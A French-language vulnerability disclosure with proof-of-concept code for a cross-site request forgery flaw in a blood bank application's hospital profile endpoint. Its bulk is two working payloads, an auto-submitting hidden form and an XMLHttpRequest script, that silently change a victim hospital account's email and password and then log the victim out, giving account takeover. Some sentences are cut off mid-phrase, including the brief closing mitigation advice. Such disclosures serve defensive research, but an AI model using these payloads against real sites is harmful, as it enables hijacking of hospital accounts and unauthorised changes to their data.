
Un POC CSRF pour la mise à jour du profil d'un hôpital menant à une prise de contrôle de compte.
/file/updateprofile.phpIl existe une vulnérabilité CSRF sur ce point de terminaison /file/updateprofile.php qui permet à un utilisateur distant de modifier les données d'un compte d'hôpital et peut conduire à une prise de contrôle du compte. En effet, l'attaquant peut mettre à jour toutes les informations, de l'adresse e-mail au mot de passe, augmentant ainsi considérablement les risques de prise de contrôle du compte.
Une exploitation réussie peut entraîner des actions non autorisées, c'est-à-dire la suppression de données, au nom de la victime. De plus, cela peut être exploité en visitant des sites Web malveillants contenant le payload.
Voici un exemple d'attaque CSRF PoC qui met à jour les informations de profil d'un compte d'hôpital connecté. Hébergez le fichier sur un domaine contrôlé par l'attaquant ; dans mon cas, j'utilisais localhost :
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC with Logout Redirect</title>
</head>
<body>
<h2>CSRF Proof of Concept with Chained Logout</h2>
<!-- Form to exploit CSRF vulnerability for updating profile -->
<form id="csrfForm" action="http://localhost.local/bloodbank/file/updateprofile.php" method="POST">
<input type="hidden" name="hname" value="parirenyatwa">
<input type="hidden" name="hemail" value="[email protected]">
<input type="hidden" name="hpassword" value="pari1234">
<input type="hidden" name="hphone" value="0777054000">
<input type="hidden" name="hcity" value="harare">
<input type="hidden" name="update" value="Update">
</form>
<script>
// Submit the CSRF form to update profile
document.getElementById("csrfForm").submit();
</script>
</body>
</html>
logout CSRF, réalisant ainsi une prise de contrôle du compte.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF PoC with XMLHttpRequest</title>
</head>
<body>
<h2>CSRF Proof of Concept with XMLHttpRequest and Redirect</h2>
<script>
// Define the target URLs for the CSRF attack
const updateUrl = "http://localhost.local/bloodbank/file/updateprofile.php";
const logoutUrl = "http://localhost.local/bloodbank/logout.php";
// Data for the profile update CSRF request
const updateData = "hname=parirenyatwa&hemail=pari%40hospital.co.zw&hpassword=pari1234&hphone=0777054000&hcity=harare&update=Update";
// Function to send the XMLHttpRequest
function sendCSRFUpdate() {
const xhr = new XMLHttpRequest();
xhr.open("POST", updateUrl, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
// When the request is complete, redirect to the logout page
xhr.onload = function() {
if (xhr.status === 200) {
console.log("Profile update CSRF request completed");
// Redirect to logout URL to log the victim out
window.location.href = logoutUrl;
} else {
console.error("Profile update failed with status:", xhr.status);
}
};
// Send the request with the update data
xhr.send(updateData);
}
// Trigger the CSRF attack by sending the update request
sendCSRFUpdate();
</script>
</body>
</html>
jetons CSRF dans vos requêtes, et évitez également que les requêtes GET n'effectuent des actions modifiant l'état.